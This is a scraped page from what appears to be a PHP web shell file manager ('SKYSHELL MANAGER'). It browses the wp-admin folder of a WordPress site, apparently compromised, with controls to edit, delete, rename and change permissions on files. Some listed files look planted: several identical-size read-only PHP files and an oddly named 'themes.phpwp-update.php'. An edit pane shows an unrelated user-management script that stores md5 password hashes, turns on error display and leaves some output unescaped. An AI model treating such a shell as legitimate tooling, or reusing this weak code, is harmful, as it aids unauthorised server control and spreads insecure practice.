📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: manage-users.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; error_reporting(E_ALL); ini_set('display_errors', 1); // Ensure user context is loaded if (!isset($_SESSION['user'])) { header("Location: index.php"); exit(); } $user = $_SESSION['user']; // Restrict access to Admins and Management only $userRole = strtolower(trim($user['role'] ?? '')); if (!in_array($userRole, ['admin'])) { $_SESSION['error'] = "Unauthorized access."; header("Location: new-server-requirement.php"); exit(); } // ---------------------------------------------------- // 1. ADD NEW USER // ---------------------------------------------------- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'add_user') { $fullName = trim($_POST['full_name']); $username = trim($_POST['username']); $password = md5($_POST['password']); $role = $_POST['system_role']; $company = trim($_POST['company'] ?? 'All'); mysqli_begin_transaction($conn); try { // Insert User including Company column $stmt = mysqli_prepare($conn, "INSERT INTO users (full_name, username, password, role, company, status) VALUES (?, ?, ?, ?, ?, 'Active')"); mysqli_stmt_bind_param($stmt, "sssss", $fullName, $username, $password, $role, $company); mysqli_stmt_execute($stmt); $newUserId = mysqli_insert_id($conn); // Pre-configure Default Role Permissions according to Matrix $showPurchase = 0; $showConfig = 0; switch ($role) { case 'Management': $defaultCompanies = json_encode(['All']); break; case 'Manager': $defaultCompanies = json_encode([$company]); break; case 'Sales': $defaultCompanies = json_encode([$company]); $showPurchase = 1; // Sales enters Main IP, Username, Password break; case 'Server Team': $defaultCompanies = json_encode(['All']); $showConfig = 1; // Server Team manages Technical Details (Alias) break; case 'Admin': $defaultCompanies = json_encode(['All']); $showPurchase = 1; $showConfig = 1; break; default: // User $defaultCompanies = json_encode([$company]); break; } $defaultStatuses = json_encode(['All']); $permStmt = mysqli_prepare($conn, "INSERT INTO user_permissions (user_id, is_active, companies, allowed_statuses, show_purchase_details, show_config_details) VALUES (?, 1, ?, ?, ?, ?)"); mysqli_stmt_bind_param($permStmt, "issii", $newUserId, $defaultCompanies, $defaultStatuses, $showPurchase, $showConfig); mysqli_stmt_execute($permStmt); mysqli_commit($conn); $_SESSION['success'] = "User added successfully with role-based permissions!"; } catch (Exception $e) { mysqli_rollback($conn); $_SESSION['error'] = "Error adding user: " . $e->getMessage(); } header("Location: manage-users.php"); exit(); } // ---------------------------------------------------- // 2. SAVE ACCESS CONTROL & STATUS // ---------------------------------------------------- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'update_access') { $userId = (int)$_POST['user_id']; $isActive = isset($_POST['is_active']) ? 1 : 0; $userStatus = $isActive ? 'Active' : 'Inactive'; $role = trim($_POST['system_role'] ?? 'User'); $userCompany = trim($_POST['primary_company'] ?? 'All'); $companies = json_encode($_POST['companies'] ?? []); $details = $_POST['server_details'] ?? []; $showPurchase = in_array('purchase', $details) ? 1 : 0; $showConfig = in_array('configuration', $details) ? 1 : 0; mysqli_begin_transaction($conn); try { // Update user status, role, and assigned primary company $stmtUser = mysqli_prepare($conn, "UPDATE users SET status = ?, role = ?, company = ? WHERE id = ?"); mysqli_stmt_bind_param($stmtUser, "sssi", $userStatus, $role, $userCompany, $userId); mysqli_stmt_execute($stmtUser); // Insert or update user permissions (keeping allowed_statuses as default All) $defaultStatuses = json_encode(['All']); $stmtPerm = mysqli_prepare($conn, " INSERT INTO user_permissions (user_id, is_active, companies, allowed_statuses, show_purchase_details, show_config_details) VALUES (?, ?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE is_active = VALUES(is_active), companies = VALUES(companies), show_purchase_details = VALUES(show_purchase_details), show_config_details = VALUES(show_config_details) "); mysqli_stmt_bind_param($stmtPerm, "iissii", $userId, $isActive, $companies, $defaultStatuses, $showPurchase, $showConfig); mysqli_stmt_execute($stmtPerm); mysqli_commit($conn); $_SESSION['success'] = "Permissions and user settings updated successfully!"; } catch (Exception $e) { mysqli_rollback($conn); $_SESSION['error'] = "Failed to save permissions: " . $e->getMessage(); } header("Location: manage-users.php"); exit(); } // ---------------------------------------------------- // 3. DELETE USER // ---------------------------------------------------- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'delete_user') { $deleteUserId = (int)$_POST['user_id']; // Prevent deleting your own logged-in account if (isset($user['id']) && $user['id'] == $deleteUserId) { $_SESSION['error'] = "You cannot delete your own logged-in account!"; } else { mysqli_begin_transaction($conn); try { // Delete user permissions $delPermStmt = mysqli_prepare($conn, "DELETE FROM user_permissions WHERE user_id = ?"); mysqli_stmt_bind_param($delPermStmt, "i", $deleteUserId); mysqli_stmt_execute($delPermStmt); // Delete user $delUserStmt = mysqli_prepare($conn, "DELETE FROM users WHERE id = ?"); mysqli_stmt_bind_param($delUserStmt, "i", $deleteUserId); mysqli_stmt_execute($delUserStmt); mysqli_commit($conn); $_SESSION['success'] = "User deleted successfully!"; } catch (Exception $e) { mysqli_rollback($conn); $_SESSION['error'] = "Failed to delete user: " . $e->getMessage(); } } header("Location: manage-users.php"); exit(); } // ---------------------------------------------------- // 4. ADD NEW COMPANY // ---------------------------------------------------- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'add_company') { $companyName = strtolower(trim($_POST['company_name'])); if (!empty($companyName)) { $stmt = mysqli_prepare($conn, "INSERT INTO companies (name) VALUES (?) ON DUPLICATE KEY UPDATE status = 'Active'"); mysqli_stmt_bind_param($stmt, "s", $companyName); mysqli_stmt_execute($stmt); $_SESSION['success'] = "Company added successfully!"; header("Location: manage-users.php"); exit(); } } // Fetch all users with left joined permissions $sqlUsers = " SELECT u.*, p.is_active as perm_active, p.companies, p.show_purchase_details, p.show_config_details FROM users u LEFT JOIN user_permissions p ON u.id = p.user_id ORDER BY u.id DESC "; $resultUsers = mysqli_query($conn, $sqlUsers); $usersList = mysqli_fetch_all($resultUsers, MYSQLI_ASSOC); // Fetch dynamic company list from `companies` table $resultCompanies = mysqli_query($conn, "SELECT name FROM companies WHERE status = 'Active' ORDER BY name ASC"); $companyList = []; if ($resultCompanies) { while ($row = mysqli_fetch_assoc($resultCompanies)) { $companyList[] = $row['name']; } } $allCompanies = array_merge(['All'], $companyList); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Manage Users | Access Control</title> <link rel="icon" type="image/svg+xml" href="<?php echo htmlspecialchars($user['fav'] ?? ''); ?>"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <link rel="stylesheet" href="css/style.css"> </head> <body class="dash-body"> <div class="sidebar-backdrop"></div> <!-- ===================== SIDEBAR ===================== --> <aside class="sidebar"> <a href="#" class="sidebar-brand text-decoration-none"> <img src="<?php echo htmlspecialchars($_SESSION['user']['logo']); ?>" alt="company" width="150"> </a> <nav class="sidebar-nav"> <div class="sidebar-section-label">MAIN</div> <div class="nav-item"> <a class="nav-link dropdown-toggle d-flex align-items-center justify-content-between " href="#menuRequirement" data-bs-toggle="collapse" role="button" aria-expanded="false" aria-controls="menuRequirement"> <span><i class="bi bi-file-earmark-plus me-2"></i>New Server</span> </a> <div class="collapse submenu-wrap ps-3" id="menuRequirement"> <a href="new-server-requirement.php" class="nav-link submenu-link"> Requirement </a> <a href="new-server-status.php" class="nav-link submenu-link"> Status </a> </div> </div> <!-- ================= 2. SERVER STATUS DROPDOWN ================= --> <div class="nav-item"> <a class="nav-link dropdown-toggle d-flex align-items-center justify-content-between " href="#menuStatus" data-bs-toggle="collapse" role="button" aria-expanded="true" aria-controls="menuStatus"> <span><i class="bi bi-list-check me-2"></i>Existing Server</span> </a> <div class="collapse submenu-wrap ps-3" id="menuStatus"> <a href="existing-server-requirement.php" class="nav-link submenu-link"> Requirement </a> <a href="existing-server-status.php" class="nav-link submenu-link subactive"> Status </a> </div> </div> <div class="sidebar-section-label mt-3">MANAGEMENT</div> <a href="manage-users.php" class="nav-link active"><i class="bi bi-people me-2"></i> Manage Users</a> </nav> <div class="sidebar-footer"> <div class="mt-4 small text-center text-muted"> <small>Developed by - Redaries</small> </div> </div> </aside> <!-- ===================== MAIN WRAPPER ===================== --> <div class="main-wrap"> <!-- Topbar --> <div class="topbar d-flex justify-content-between align-items-center"> <div class="d-flex align-items-center gap-3"> <button class="btn btn-menu btn-outline-secondary d-md-none"><i class="bi bi-list"></i></button> <div> <div class="fw-bold fs-5">Manage Users & Permissions</div> <div class="breadcrumb-mini text-muted small">Admin Panel / Manage Users</div> </div> </div> <!-- TOP RIGHT USER MENU --> <div class="d-flex align-items-center gap-3"> <button class="btn btn-primary btn-sm" data-bs-toggle="modal" data-bs-target="#addUserModal"> <i class="bi bi-person-plus-fill me-1"></i> Add User </button> <div class="dropdown ms-2"> <button class="btn btn-light dropdown-toggle d-flex align-items-center gap-2 border" type="button" data-bs-toggle="dropdown" aria-expanded="false"> <i class="bi bi-person-circle text-primary fs-5"></i> <span class="fw-semibold small"><?php echo htmlspecialchars($user['username'] ?? 'User'); ?></span> </button> <ul class="dropdown-menu dropdown-menu-end shadow-sm border-0"> <li> <a class="dropdown-item text-danger d-flex align-items-center gap-2" href="logout.php"> <i class="bi bi-box-arrow-right"></i> Logout </a> </li> </ul> </div> </div> </div> <div class="page-content p-4"> <!-- Flash Notifications --> <?php if(isset($_SESSION['success'])): ?> <div class="alert alert-success alert-dismissible fade show mb-4" role="alert"> <i class="bi bi-check-circle-fill me-2"></i> <?php echo $_SESSION['success']; unset($_SESSION['success']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <?php if(isset($_SESSION['error'])): ?> <div class="alert alert-danger alert-dismissible fade show mb-4" role="alert"> <i class="bi bi-exclamation-triangle-fill me-2"></i> <?php echo $_SESSION['error']; unset($_SESSION['error']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert"></button> </div> <?php endif; ?> <!-- Table Container --> <div class="card border-0 shadow-sm rounded-3"> <div class="card-body p-4"> <!-- Table Title Header --> <div class="d-flex align-items-center justify-content-between mb-4"> <h6 class="fw-bold mb-0">All System Users</h6> </div> <!-- Data Table --> <div class="table-responsive"> <table class="table table-hover table-custom align-middle"> <thead> <tr> <th>ID</th> <th>FULL NAME</th> <th>USERNAME</th> <th>ROLE</th> <th>COMPANY</th> <th>ACCOUNT STATUS</th> <th class="text-end pe-3">ACTIONS</th> </tr> </thead> <tbody> <?php if (!empty($usersList)): ?> <?php foreach($usersList as $u): $userComps = json_decode($u['companies'] ?? '[]', true); $isActive = ($u['status'] === 'Active'); $userRole = ucfirst(strtolower($u['role'] ?? 'User')); $userCompany = ucfirst(strtolower($u['company'] ?? 'All')); ?> <tr> <td>#<?php echo $u['id']; ?></td> <td><?php echo htmlspecialchars($u['full_name'] ?? $u['username']); ?></td> <td><?php echo htmlspecialchars($u['username']); ?></td> <td><span class="badge bg-secondary"><?php echo strtoupper($userRole); ?></span></td> <td><span class="badge bg-light text-dark border"><?php echo htmlspecialchars($userCompany); ?></span></td> <td> <span class="badge <?php echo $isActive ? 'bg-success' : 'bg-danger'; ?>"> <?php echo $u['status']; ?> </span> </td> <td class="text-end pe-3"> <button class="btn btn-sm btn-outline-primary" data-bs-toggle="modal" data-bs-target="#accessModal<?php echo $u['id']; ?>"> <i class="bi bi-shield-lock me-1"></i> Access Control </button> </td> </tr> <!-- Access Control Popup Modal --> <div class="modal fade" id="accessModal<?php echo $u['id']; ?>" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-lg modal-dialog-centered"> <div class="modal-content border-0 shadow"> <form method="post"> <input type="hidden" name="action" value="update_access"> <input type="hidden" name="user_id" value="<?php echo $u['id']; ?>"> <div class="modal-header border-bottom-0"> <h6 class="modal-title fw-bold text-primary d-flex align-items-center gap-2"> <i class="bi bi-shield-lock-fill"></i> Access Control: <span class="text-dark"><?php echo htmlspecialchars($u['username']); ?></span> </h6> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body p-4"> <!-- 1. Account Status Toggle --> <div class="d-flex align-items-center justify-content-between mb-4 pb-3 border-bottom"> <div> <h6 class="fw-bold mb-0">Active Account Status</h6> <small class="text-muted">Enable or disable system access for this user</small> </div> <div class="form-check form-switch fs-5"> <input class="form-check-input" type="checkbox" name="is_active" value="1" id="active<?php echo $u['id']; ?>" <?php echo $isActive ? 'checked' : ''; ?>> </div> </div> <!-- 2. System Role --> <div class="mb-4 pb-3 border-bottom"> <h6 class="fw-bold text-dark d-flex align-items-center gap-2 mb-2"> <i class="bi bi-person-badge text-primary"></i> System Role </h6> <div class="d-flex flex-wrap gap-3 mt-2"> <?php $roles = ['User', 'Management', 'Manager', 'Sales', 'Server Team', 'Admin']; foreach($roles as $r): $checked = (strcasecmp($u['role'], $r) === 0) ? 'checked' : ''; ?> <div class="form-check"> <input class="form-check-input" type="radio" name="system_role" value="<?php echo $r; ?>" id="role_<?php echo $u['id'] . '_' . md5($r); ?>" <?php echo $checked; ?>> <label class="form-check-label <?php echo $r === 'Admin' ? 'fw-bold text-danger' : ''; ?>" for="role_<?php echo $u['id'] . '_' . md5($r); ?>"><?php echo $r; ?></label> </div> <?php endforeach; ?> </div> </div> <!-- 3. Primary Assigned Company --> <div class="mb-4 pb-3 border-bottom"> <h6 class="fw-bold text-dark d-flex align-items-center gap-2 mb-2"> <i class="bi bi-building text-primary"></i> Company </h6> <div class="d-flex flex-wrap gap-3 mt-2"> <?php foreach($allCompanies as $c): $checkedComp = (strcasecmp($u['company'] ?? 'All', $c) === 0) ? 'checked' : ''; ?> <div class="form-check"> <input class="form-check-input" type="radio" name="primary_company" value="<?php echo htmlspecialchars($c); ?>" id="pcomp_<?php echo $u['id'] . '_' . md5($c); ?>" <?php echo $checkedComp; ?>> <label class="form-check-label" for="pcomp_<?php echo $u['id'] . '_' . md5($c); ?>"><?php echo ucfirst($c); ?></label> </div> <?php endforeach; ?> </div> </div> <!-- 4. Company Tickets Access --> <div class="mb-4 pb-3 border-bottom"> <h6 class="fw-bold text-dark d-flex align-items-center gap-2 mb-2"> <i class="bi bi-ticket-perforated text-primary"></i> Company Tickets </h6> <div class="d-flex flex-wrap gap-3 mt-2"> <?php foreach($allCompanies as $c): ?> <div class="form-check"> <input class="form-check-input" type="checkbox" name="companies[]" value="<?php echo htmlspecialchars($c); ?>" id="comp_<?php echo $u['id'] . '_' . md5($c); ?>" <?php echo is_array($userComps) && in_array($c, $userComps) ? 'checked' : ''; ?>> <label class="form-check-label" for="comp_<?php echo $u['id'] . '_' . md5($c); ?>"><?php echo ucfirst($c); ?></label> </div> <?php endforeach; ?> </div> </div> <!-- 5. Server Details Access Section --> <div class="mb-2"> <h6 class="fw-bold text-dark d-flex align-items-center gap-2 mb-2"> <i class="bi bi-hdd-network text-primary"></i> Server Details Access </h6> <div class="d-flex flex-wrap gap-4 mt-2"> <div class="form-check"> <input class="form-check-input" type="checkbox" name="server_details[]" value="purchase" id="purch_<?php echo $u['id']; ?>" <?php echo ($u['show_purchase_details'] ?? 0) ? 'checked' : ''; ?>> <label class="form-check-label" for="purch_<?php echo $u['id']; ?>"> Purchase details <span class="text-muted small">(Main IP, Username, Password)</span> </label> </div> <div class="form-check"> <input class="form-check-input" type="checkbox" name="server_details[]" value="configuration" id="config_<?php echo $u['id']; ?>" <?php echo ($u['show_config_details'] ?? 0) ? 'checked' : ''; ?>> <label class="form-check-label" for="config_<?php echo $u['id']; ?>"> Configuration details <span class="text-muted small">(Server Alias)</span> </label> </div> </div> </div> </div> <div class="modal-footer border-top-0 pt-0 d-flex justify-content-between"> <!-- DELETE USER BUTTON --> <button type="button" class="btn btn-sm btn-outline-danger" onclick="if(confirm('Are you sure you want to delete user \'<?php echo htmlspecialchars($u['username']); ?>\'? This action cannot be undone.')) { document.getElementById('delete-form-<?php echo $u['id']; ?>').submit(); }"> <i class="bi bi-trash me-1"></i> Delete User </button> <div class="d-flex gap-2"> <button type="button" class="btn btn-sm btn-light border px-3" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-sm btn-primary fw-semibold px-4"><i class="bi bi-check2-circle me-1"></i> Save Changes</button> </div> </div> </form> <!-- Hidden Delete Form --> <form id="delete-form-<?php echo $u['id']; ?>" action="manage-users.php" method="post" style="display: none;"> <input type="hidden" name="action" value="delete_user"> <input type="hidden" name="user_id" value="<?php echo $u['id']; ?>"> </form> </div> </div> </div> <?php endforeach; ?> <?php else: ?> <tr> <td colspan="7" class="text-center py-4 text-muted">No registered users found.</td> </tr> <?php endif; ?> </tbody> </table> </div> </div> </div> </div> </div> <!-- ===================== ADD USER MODAL ===================== --> <div class="modal fade" id="addUserModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content border-0 shadow"> <form method="post"> <input type="hidden" name="action" value="add_user"> <div class="modal-header border-bottom-0"> <h6 class="modal-title fw-bold"><i class="bi bi-person-plus me-2 text-primary"></i>Add New User</h6> <button type="button" class="btn-close" data-bs-dismiss="modal"></button> </div> <div class="modal-body p-4"> <div class="mb-3"> <label class="form-label small fw-bold">Full Name <span class="text-danger">*</span></label> <input type="text" name="full_name" class="form-control" placeholder="e.g. John Doe" required> </div> <div class="mb-3"> <label class="form-label small fw-bold">Username <span class="text-danger">*</span></label> <input type="text" name="username" class="form-control" placeholder="e.g. johndoe" required> </div> <div class="mb-3"> <label class="form-label small fw-bold">Password <span class="text-danger">*</span></label> <input type="password" name="password" class="form-control" required> </div> <div class="mb-3"> <label class="form-label small fw-bold">System Role <span class="text-danger">*</span></label> <select name="system_role" class="form-select" required> <option value="User">User</option> <option value="Management">Management</option> <option value="Manager">Manager</option> <option value="Sales">Sales</option> <option value="Server Team">Server Team</option> <option value="Admin">Admin</option> </select> </div> <div class="mb-3"> <label class="form-label small fw-bold">Assigned Company <span class="text-danger">*</span></label> <select name="company" class="form-select" required> <?php foreach($companyList as $compName): ?> <option value="<?php echo htmlspecialchars($compName); ?>"><?php echo ucfirst($compName); ?></option> <?php endforeach; ?> </select> </div> </div> <div class="modal-footer border-top-0 pt-0"> <button type="button" class="btn btn-sm btn-light border px-3" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-sm btn-primary px-4"><i class="bi bi-plus-lg me-1"></i> Create User</button> </div> </form> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/js/bootstrap.bundle.min.js"></script> <script src="js/app.js"></script> </body> </html>
Save